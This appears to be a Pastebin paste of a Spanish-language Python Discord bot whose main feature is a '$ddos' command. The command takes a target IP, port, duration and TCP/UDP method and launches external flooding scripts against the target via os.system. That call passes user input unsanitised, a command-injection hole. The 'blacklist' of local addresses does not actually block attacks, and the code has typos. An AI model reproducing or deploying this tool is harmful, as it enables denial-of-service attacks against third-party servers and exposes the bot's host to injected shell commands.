Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import discord
- import colorama
- import asyncio
- import random
- import os
- from colorama import *
- from discord.ext import commands
- client = commands.Bot(command_prefix = "$")
- @client.event
- async def on_ready():
- print(Fore.YELLOW+"[INFO] Bot iniciado")
- @client.event
- async def on_member_join(member):
- print(fore.GREEN+f"[INFO] {member} a entrando un nuevo miembro")
- @client.event
- async def on_member_remove(member):
- print(fore.RED+f"[INFO]{member} a salido del servidor")
- @client.command()
- async def ping(ctx):
- await ctx.send(f"**Latencia: {client.latency * 1000}ms**")
- @client.command()
- async def clear(ctx, amount = 1):
- await ctx.channel.purge(limit=amount)
- await ctx.send(f"**Eliminaste los mensajes existosamente**")
- @client.command()
- async def ddos(ctx, ip, port, time, metodo = ''):
- if ip == '':
- await ctx.send(f"**Utiliza: $ddos (ip) (puerto) (tiempo) (metodo)**")
- elif ip == '127.0.0.1':
- await ctx.send(f"**IP EN LA LISTA NEGRA!**")
- metodo == ''
- elif ip == '1.1.1.1':
- await ctx.send(f"**IP EN LA LISTA NEGRA!**")
- metodo == ''
- elif ip == '0.0.0.0':
- await ctx.send(f"**IP EN LA LISTA NEGRA!**")
- metodo == ''
- elif ip == 'localhost':
- metodo == ''
- await ctx.send(f"**IP EN LA LISTA NEGRA!**")
- if port == '':
- await ctx.send(f"**Utiliza: $ddos (ip) (puerto) (tiempo) (metodo)**")
- if time == '':
- await ctx.send(f"**Utiliza: $ddos (ip) (puerto) (tiempo) (metodo)**")
- if metodo == 'TCP':
- await ctx.send(f"**Atacando a " + ip + " con el puerto " + port + " por " + time + " segundos usando el metodo " + metodo + "**")
- os.system("start python Layer4.py " + ip + " " + port + " 300 " + time)
- elif metodo == 'UDP':
- await ctx.send(f"**Atacando a " + ip + " con el puerto " + port + " por " + time + " segundos usando el metodo " + metodo + "**")
- os.system("start python DontOpen.py " + ip + " " + port + " " + time)
- elif metodo == '':
- await ctx.send(f"**Utiliza: $ddos (ip) (puerto) (tiempo) (metodo)**")
- else:
- await ctx.send(f"**Utiliza: $ddos (ip) (puerto) (tiempo) (metodo)**")
- @client.command()
- async def metodos(ctx):
- await ctx.send(f"""
- **Metodos:**
- ```TCP - Ataque por el protocolo TCP```
- ```UDP - Ataque por el protocolo UDP```""")
- @client.command()
- async def ayuda(ctx):
- await ctx.send(f"""
- **Comandos:**
- ```DDoS:```
- $ddos (ip) (puerto) (tiempo) (metodo)
- ```Variados:```
- $ping - Mirar la latencia del bot
- **Proximamente**""")
- @client.command()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement